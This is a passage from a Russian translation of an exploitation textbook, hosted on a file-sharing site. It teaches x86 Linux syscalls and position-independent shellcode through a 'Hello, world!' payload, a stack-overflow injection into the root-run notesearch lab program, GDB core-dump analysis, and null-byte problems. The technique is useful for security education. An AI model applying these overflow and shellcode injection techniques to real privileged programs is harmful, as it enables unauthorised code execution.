Главная страница
Навигация по странице:

  • Страница руководства для системного вызова write()

  • Фрагмент /usr/include/unistd.h

  • 0x511 Системные вызовы Linux на ассемблере

  • Фрагмент /usr/include/asm-i386/unistd.h

  • 0x521 Команды ассемблера для работы со стеком

  • 0x522 Исследование с помощью GDB

  • 0x523 Удаление нулевых байтов

  • Хакинг. Хакинг__искусство_эксплоита_2_е_469663841. Книга дает полное представление о программировании, машин ной архитектуре, сетевых соединениях и хакерских приемах


    Скачать 2.5 Mb.
    НазваниеКнига дает полное представление о программировании, машин ной архитектуре, сетевых соединениях и хакерских приемах
    АнкорХакинг
    Дата16.06.2022
    Размер2.5 Mb.
    Формат файлаpdf
    Имя файлаХакинг__искусство_эксплоита_2_е_469663841.pdf
    ТипКнига
    #595131
    страница33 из 51
    1   ...   29   30   31   32   33   34   35   36   ...   51

    write(1, “Hello, world!\n”, 13Hello, world!
    ) = 13
    exit_group(0) = ?
    Process 11528 detached reader@hacking:

    /booksrc $
    Как видите, скомпилированная программа не ограничивается печатью строки. В начале программы системные вызовы настраивают окруже- ние и память, но нам интересен вызов write(), выделенный полужир- ным. Именно он выводит строку.
    Страницы руководства UNIX, которые выводит команда man, делятся на разделы. Раздел 2 содержит страницы руководства для системных вызовов, поэтому man 2 write покажет, как пользоваться системным вызовом write():
    Страница руководства для системного вызова write()
    WRITE(2) Руководство программиста Linux
    WRITE(2)
    ИМЯ
    write - производит запись в дескриптор файла
    СИНТАКСИС
    #include
    ssize_t write(int fd, const void *buf, size_t count);
    ОПИСАНИЕ
    Записывает до count байтов из буфера buf в файл, на который ссылается дескриптор файла fd. POSIX указывает на то, что вызов write(),
    произошедший после вызова read(), возвращает уже новое значение.
    Заметим, что не все файловые системы соответствуют стандарту POSIX.

    318
    0x500 Шелл-код (код оболочки)
    Вывод strace также показывает аргументы системного вызова. Аргу- менты buf и count содержат указатель на строку и ее длину. Аргумент fd
    , равный 1, указывает на стандартный файл. В UNIX дескрипторы файлов используются всюду: для ввода, вывода, доступа к файлам, се- тевым сокетам и так далее. Дескриптор файла напоминает номерок на пальто, сданное в гардероб; позже по этому номерку можно получить пальто обратно. Первые три номера дескрипторов (0, 1 и 2) зарезерви- рованы для стандартных устройств ввода, вывода и вывода ошибок.
    Они определяются в разных местах, например в /usr/include/unistd.h.
    Фрагмент /usr/include/unistd.h
    /* Стандартные дексрипторы файла. */
    #define STDIN_FILENO 0 /* Стандартный ввод. */
    #define STDOUT_FILENO 1 /* Стандартный вывод. */
    #define STDERR_FILENO 2 /* Стандартный вывод ошибок. */
    Запись байтов в стандартный дескриптор файла 1 – вывод этих бай- тов; чтение из стандартного дескриптора файла 0 – ввод байтов. Стан- дартный дескриптор файла 2 служит для вывода сообщений об ошиб- ках или сообщений отладки, которые можно фильтровать со стандарт- ного вывода.
    0x511 Системные вызовы Linux на ассемблере
    Все системные вызовы в Linux пронумерованы, поэтому на ассемблере к ним можно обращаться по номерам. Все системные вызовы перечис- лены в /usr/include/asm-i386/unistd.h.
    Фрагмент /usr/include/asm-i386/unistd.h
    #ifndef _ASM_I386_UNISTD_H_
    #define _ASM_I386_UNISTD_H_
    /*
    * Этот файл содержит номера системных вызовов.
    */
    #define __NR_restart_syscall 0
    #define __NR_exit 1
    #define __NR_fork 2
    #define __NR_read 3
    #define __NR_write 4
    #define __NR_open 5
    #define __NR_close 6
    #define __NR_waitpid 7
    #define __NR_creat 8
    #define __NR_link 9
    #define __NR_unlink 10
    #define __NR_execve 11
    #define __NR_chdir 12

    0x510 Ассемблер и C
    319
    #define __NR_time 13
    #define __NR_mknod 14
    #define __NR_chmod 15
    #define __NR_lchown 16
    #define __NR_break 17
    #define __NR_oldstat 18
    #define __NR_lseek 19
    #define __NR_getpid 20
    #define __NR_mount 21
    #define __NR_umount 22
    #define __NR_setuid 23
    #define __NR_getuid 24
    #define __NR_stime 25
    #define __NR_ptrace 26
    #define __NR_alarm 27
    #define __NR_oldfstat 28
    #define __NR_pause 29
    #define __NR_utime 30
    #define __NR_stty 31
    #define __NR_gtty 32
    #define __NR_access 33
    #define __NR_nice 34
    #define __NR_ftime 35
    #define __NR_sync 36
    #define __NR_kill 37
    #define __NR_rename 38
    #define __NR_mkdir 39
    В нашем переводе helloworld.c на язык ассемблера будет один систем- ный вызов write() для вывода и другой системный вызов exit() для корректного завершения процесса. На ассемблере x86 их можно вы- полнить с помощью всего двух команд: mov и int.
    Команды ассемблера для процессора x86 могут иметь один операнд, два, три или ни одного. Операндами команд могут быть числа, адре- са памяти или регистры процессора. У процессора x86 есть несколь- ко 32-разрядных регистров, которые можно считать аппаратными пе- ременными. В качестве операнда можно использовать регистры EAX,
    EBX, ECX, EDX, ESI, EDI, EBP и ESP, но не регистр EIP (указатель ко- манды).
    Команда mov копирует значение одного из ее операндов в другой. В син- таксисе ассемблера Intel первый операнд – получатель, а второй – ис- точник. Команда int посылает ядру номер прерывания, заданный ее единственным операндом. В ядре Linux прерывание с номером 0x80 со- общает, что нужно выполнить системный вызов. При выполнении ко- манды int 0x80 ядро выполнит системный вызов с использованием пер- вых четырех регистров. В регистре EAX указывается номер системно- го вызова, а регистры EBX, ECX и EDX содержат первый, второй и тре-

    320
    0x500 Шелл-код (код оболочки) тий аргументы вызова. Во все эти регистры можно записать нужные значения с помощью команды mov.
    Следующий код ассемблера просто объявляет сегменты памяти. Стро- ка “Hello, world!” с символом перевода строки (0x0a) находится в сегмен- те данных, а выполняемые команды ассемблера располагаются в тексто- вом сегменте. Это соответствует принятой сегментации памяти.
    helloworld.asm
    section .data ; Сегмент данных msg db “Hello, world!”, 0x0a ; Строка и символ перевода строки section .text ; Текстовый сегмент global _start ; Стандартная точка входа для сборки ELF
    _start:
    ; Системный вызов: write(1, msg, 14)
    mov eax, 4 ; Поместить в eax 4, т.к. write - это системный вызов 4.
    mov ebx, 1 ; Поместить в ebx 1, т.к. stdout имеет номер 1.
    mov ecx, msg ; Поместить адрес строки в ecx.
    mov edx, 14 ; Поместить в edx 14, потому что длина строки 14 байт.
    int 0x80 ; Заставить ядро выполнить системный вызов.
    ; Системный вызов: exit(0)
    mov eax, 1 ; Поместить в eax 1, т.к. Exit - это системный вызов 1.
    mov ebx, 0 ; Успешный выход.
    int 0x80 ; Выполнить системный вызов.
    Эта программа состоит из простых команд. Для вывода с помощью сис- темного вызова write() на стандартное устройство вывода в EAX запи- сывается число 4, потому что номер системного вызова write() равен 4.
    Затем в EBX записывается 1, поскольку первым аргументом write() должен быть дескриптор файла для стандартного вывода. После этого в ECX помещается адрес строки в сегменте данных, а в EDX записыва- ется длина строки (в данном случае 14). После загрузки всех этих ре- гистров генерируется прерывание системного вызова, которое вызовет функцию write().
    Чтобы корректно завершить программу, нужно вызвать функцию exit()
    с аргументом 0. Поэтому помещаем в EAX 1, поскольку систем- ный вызов exit() имеет номер 1, и записываем в EBX 0, поскольку пер- вым и единственным аргументом должен быть 0. Затем снова генери- руется системное прерывание.
    Чтобы создать исполняемый двоичный модуль, этот код нужно сна- чала ассемблировать, а потом скомпоновать в исполняемом формате.
    При компиляции кода C компилятор GCC выполняет это все автома- тически. Мы хотим сделать двоичный модуль в формате ELF, и стро- ка global _start указывает компоновщику, где начинаются инструк- ции ассемблера.

    0x520 Путь к шелл-коду
    321
    Ассемблер nasm, запущенный с ключом -f elf, создаст из файла
    helloworld.asm объектный файл, который можно скомпоновать в виде двоичного модуля ELF. По умолчанию этот объектный файл получит имя helloworld.o. Программа компоновки ld создаст из объектного мо- дуля исполняемый двоичный модуль a.out.
    reader@hacking:/booksrc $ nasm -f elf helloworld.asm reader@hacking:/booksrc $ ld helloworld.o reader@hacking:/booksrc $ ./a.out
    Hello, world!
    reader@hacking:/booksrc $
    Эта маленькая программа работает, но она не является шелл-кодом, потому что она не самодостаточна и должна компоноваться с библио- теками.
    0x520 Путь к шелл-коду
    Шелл-код буквально внедряется в работающую программу, где он на- чинает хозяйничать, как вирус в живой клетке. Так как шелл-код не является в полном смысле исполняемой программой, мы не можем по- зволить себе организовывать данные в памяти или хотя бы использо- вать другие сегменты памяти. Наши команды должны быть самодоста- точными и готовыми захватить управление процессором независимо от его текущего состояния. Такой код часто называют перемещаемым
    (position-independent).
    В шелл-коде байты строки “Hello, world!” должны располагаться вме- сте с инструкциями ассемблера, потому что нельзя задать или предуга- дать сегменты памяти. В этом нет ничего плохого, если только указа- тель команды не будет интерпретировать строку как команды. Одна- ко чтобы обратиться к данным строки, нам нужен указатель на них.
    Когда шелл-код начнет выполняться, его положение в памяти может оказаться любым. Абсолютный адрес строки нужно вычислять отно- сительно EIP. Инструкций ассемблера для доступа к EIP нет, но мож- но применить хитрость.
    0x521 Команды ассемблера для работы со стеком
    В архитектуре x86 стек настолько необходим, что для его функциони- рования есть специальные команды.
    Эксплойты на базе стека возможны благодаря командам call и ret. При вызове функции адрес следующей за вызовом команды проталкивает- ся в стек, открывая новый кадр стека. При завершении работы функ- ции команда ret извлекает адрес возврата из стека и записывает в EIP.
    Изменив сохраненный в стеке адрес возврата до того, как будет выпол- нена команда ret, мы можем перехватить управление программой.

    322
    0x500 Шелл-код (код оболочки)
    Команда
    Назначение
    push <источник>
    Протолкнуть операнд в стек.
    pop <приемник>
    Вытолкнуть значение из стека и поместить в опе- ранд-приемник.
    call <адрес>
    Вызвать функцию, передав управление на адрес, указанный в операнде. Адрес может быть относи- тельным или абсолютным. В стек проталкивает- ся адрес следующей за call инструкции, чтобы по- том можно было продолжить выполнение с него.
    ret
    Вернуться из функции, взяв адрес возврата из стека и передав на него управление.
    Можно использовать эту архитектуру непредусмотренным способом и решить задачу получения адреса встроенной строки. Если строка на- ходится сразу после команды call, ее адрес будет помещен в стек в ка- честве адреса возврата. Вместо вызова функции можно перескочить че- рез строку и выполнить команду pop, которая извлечет из стека адрес строки и поместит его в регистр. Этот прием иллюстрируется следую- щим кодом.
    helloworld1.s
    BITS 32 ; Сообщить nasm, что это 32-разрядный код.
    call mark_below ; Перескочить через строку к командам db “Hello, world!”, 0x0a, 0x0d ; с байтами перевода строки и возврата каретки mark_below:
    ; ssize_t write(int fd, const void *buf, size_t count);
    pop ecx ; Взять в стеке адрес возврата (указатель на строку).
    mov eax, 4 ; Номер системного вызова write.
    mov ebx, 1 ; Дескриптор файла STDOUT mov edx, 15 ; Длина строки int 0x80 ; Выполнить системный вызов: write(1, string, 14)
    ; void _exit(int status);
    mov eax, 1 ; Номер системного вызова exit mov ebx, 0 ; Статус = 0
    int 0x80 ; Выполнить системный вызов: exit(0)
    Команда call передает управление за конец строки. При этом в стек за- писывается также адрес следующей команды, а им в нашем случае яв- ляется адрес строки. Адрес возврата сразу считывается из стека в нуж- ный регистр. Без всякого использования сегментов эти команды, вне- дренные в активный процесс, будут выполняться совершенно незави- симо от своего местоположения. Это означает, что после ассемблирова-

    0x520 Путь к шелл-коду
    323
    ния этих команд получится модуль, из которого нельзя собрать испол- няемый модуль.
    reader@hacking:/booksrc $ nasm helloworld1.s reader@hacking:/booksrc $ ls -l helloworld1
    -rw-r--r-- 1 reader reader 50 2007-10-26 08:30 helloworld1
    reader@hacking:/booksrc $ hexdump -C helloworld1 00000000 e8 0f 00 00 00 48 65 6c 6c 6f 2c 20 77 6f 72 6c |.....Hello, worl|
    00000010 64 21 0a 0d 59 b8 04 00 00 00 bb 01 00 00 00 ba
    |d!..Y...........|
    00000020 0f 00 00 00 cd 80 b8 01 00 00 00 bb 00 00 00 00 |................|
    00000030 cd 80 |..|
    00000032
    reader@hacking:/booksrc $ ndisasm -b32 helloworld1 00000000 E80F000000 call 0x14 00000005 48 dec eax
    00000006 656C gs insb
    00000008 6C insb
    00000009 6F outsd
    0000000A 2C20 sub al,0x20 0000000C 776F ja 0x7d
    0000000E 726C jc 0x7c
    00000010 64210A and [fs:edx],ecx
    00000013 0D59B80400 or eax,0x4b859 00000018 0000 add [eax],al
    0000001A BB01000000 mov ebx,0x1 0000001F BA0F000000 mov edx,0xf
    00000024 CD80 int 0x80 00000026 B801000000 mov eax,0x1 0000002B BB00000000 mov ebx,0x0 00000030 CD80 int 0x80
    reader@hacking:/booksrc $
    Ассемблер nasm превращает язык ассемблера в машинный код; инстру- мент под названием ndisasm превращает машинный код в язык ассем- блера. Выше показана работа обоих этих инструментов, демонстриру- ющая связь между байтами машинного кода и командами ассемблера.
    Дизассемблированные команды, выделенные полужирным, представ- ляют собой строку “Hello, world!”, интерпретированную как команды.
    Теперь, если мы внедрим этот шелл-код в программу и перенаправим на него EIP, программа напечатает Hello, world!. Возьмем для эксплой- та знакомую программу notesearch.
    reader@hacking:/booksrc $ export SHELLCODE=$(cat helloworld1)
    reader@hacking:/booksrc $ ./getenvaddr SHELLCODE ./notesearch
    SHELLCODE will be at 0xbffff9c6
    reader@hacking:/booksrc $ ./notesearch $(perl -e ‘print “\xc6\xf9\xff\
    xbf”x40’)
    -------[ end of note data ]-------
    Segmentation fault reader@hacking:/booksrc $

    324
    0x500 Шелл-код (код оболочки)
    Неудача. Как вы думаете, в чем дело? В таких случаях лучшим помощ- ником оказывается GDB. Даже если вы знаете причину этой неудачи, полезно потренироваться в работе с отладчиком на будущее.
    0x522 Исследование с помощью GDB
    Так как программа notesearch выполняется с правами root, нельзя от- лаживать ее с правами обычного пользователя. Но нельзя и подклю- читься к уже выполняющейся программе, потому что она слишком быс тро завершается. Можно еще отлаживать программы с помощью дампов ядра. Выполнив команду ulimit -c unlimited в оболочке root, можно заставить операционную систему сохранять дамп памяти при аварийном завершении программы. При этом размер файлов дампа не ограничивается. Теперь, когда программа аварийно завершится, дамп памяти будет сохранен на диске в файле core, который можно изучать с помощью GDB.
    reader@hacking:/booksrc $ sudo su root@hacking:/home/reader/booksrc # ulimit -c unlimited root@hacking:/home/reader/booksrc # export SHELLCODE=$(cat helloworld1)
    root@hacking:/home/reader/booksrc # ./getenvaddr SHELLCODE ./notesearch
    SHELLCODE will be at 0xbffff9a3
    root@hacking:/home/reader/booksrc # ./notesearch $(perl -e ‘print “\xa3\xf9\
    xff\xbf”x40’)
    -------[ end of note data ]-------
    Segmentation fault (core dumped)
    root@hacking:/home/reader/booksrc # ls -l ./core
    -rw------- 1 root root 147456 2007-10-26 08:36 ./core root@hacking:/home/reader/booksrc # gdb -q -c ./core
    (no debugging symbols found)
    Using host libthread_db library “/lib/tls/i686/cmov/libthread_db.so.1”.
    Core was generated by `./notesearch
    £°E¿£°E¿£°E¿£°E¿£°E¿£°E¿£°E¿£°E¿£°E¿£°E¿£°E¿£°E¿£°E¿£°E¿£°E¿£°E¿£°E.
    Program terminated with signal 11, Segmentation fault.
    #0 0x2c6541b7 in ?? ()
    (gdb) set dis intel
    (gdb) x/5i 0xbffff9a3 0xbffff9a3: call 0x2c6541b7 0xbffff9a8: ins BYTE PTR es:[edi],[dx]
    0xbffff9a9: outs [dx],DWORD PTR ds:[esi]
    0xbffff9aa: sub al,0x20 0xbffff9ac: ja 0xbffffa1d
    (gdb) i r eip eip 0x2c6541b7 0x2c6541b7
    (gdb) x/32xb 0xbffff9a3 0xbffff9a3: 0xe8 0x0f 0x48 0x65 0x6c 0x6c 0x6f 0x2c
    0xbffff9ab: 0x20 0x77 0x6f 0x72 0x6c 0x64 0x21 0x0a
    0xbffff9b3: 0x0d 0x59 0xb8 0x04 0xbb 0x01 0xba 0x0f
    0xbffff9bb: 0xcd 0x80 0xb8 0x01 0xbb 0xcd 0x80 0x00
    (gdb) quit

    0x520 Путь к шелл-коду
    325
    root@hacking:/home/reader/booksrc # hexdump -C helloworld1 00000000 e8 0f 00 00 00 48 65 6c 6c 6f 2c 20 77 6f 72 6c |.....Hello, worl|
    00000010 64 21 0a 0d 59 b8 04 00 00 00 bb 01 00 00 00 ba |d!..Y...........|
    00000020 0f 00 00 00 cd 80 b8 01 00 00 00 bb 00 00 00 00 |................|
    00000030 cd 80 |..|
    00000032
    root@hacking:/home/reader/booksrc #
    После загрузки GDB переключаем стиль дизассемблирования на Intel.
    Так как GDB выполняется с правами root, файл .gdbinit не будет исполь- зоваться. Исследуется память, в которой должен находиться шелл-код.
    Инструкции выглядят не так, как должны, и, по-видимому, аварийное завершение вызвано первой некорректной командой call. Выполнение было передано шелл-коду, но с его байтами что-то случилось. Обычно строки завершаются нулевым байтом, но оболочка постаралась и уда- лила эти нулевые байты. В результате машинный код пришел в полную негодность. Часто шелл-код внедряется в процесс в виде строки с помо- щью таких функций, как strcpy(). Эти функции прекращают копирова- ние на первом же нулевом байте, что приводит к вводу неполного и не- работоспособного шелл-кода. Чтобы шелл-код смог пережить транспор- тировку, нужно переработать его так, чтобы в нем не было нулей.
    0x523 Удаление нулевых байтов
    Глядя на дизассемблированный код, мы видим, что первые нулевые байты появляются в команде call:
    reader@hacking:/booksrc $ ndisasm -b32 helloworld1 00000000 E80F000000 call 0x14 00000005 48 dec eax
    00000006 656C gs insb
    00000008 6C insb
    00000009 6F outsd
    0000000A 2C20 sub al,0x20 0000000C 776F ja 0x7d
    0000000E 726C jc 0x7c
    00000010 64210A and [fs:edx],ecx
    00000013 0D59B80400 or eax,0x4b859 00000018 0000 add [eax],al
    0000001A BB01000000 mov ebx,0x1 0000001F BA0F000000 mov edx,0xf
    00000024 CD80 int 0x80 00000026 B801000000 mov eax,0x1 0000002B BB00000000 mov ebx,0x0 00000030 CD80 int 0x80
    reader@hacking:/booksrc $
    Эта команда переносит управление вперед на 19 (0x13) байт исходя из значения первого операнда. Однако команда call может передавать управление на гораздо большее расстояние, поэтому маленькое чис-

    1   ...   29   30   31   32   33   34   35   36   ...   51


    написать администратору сайта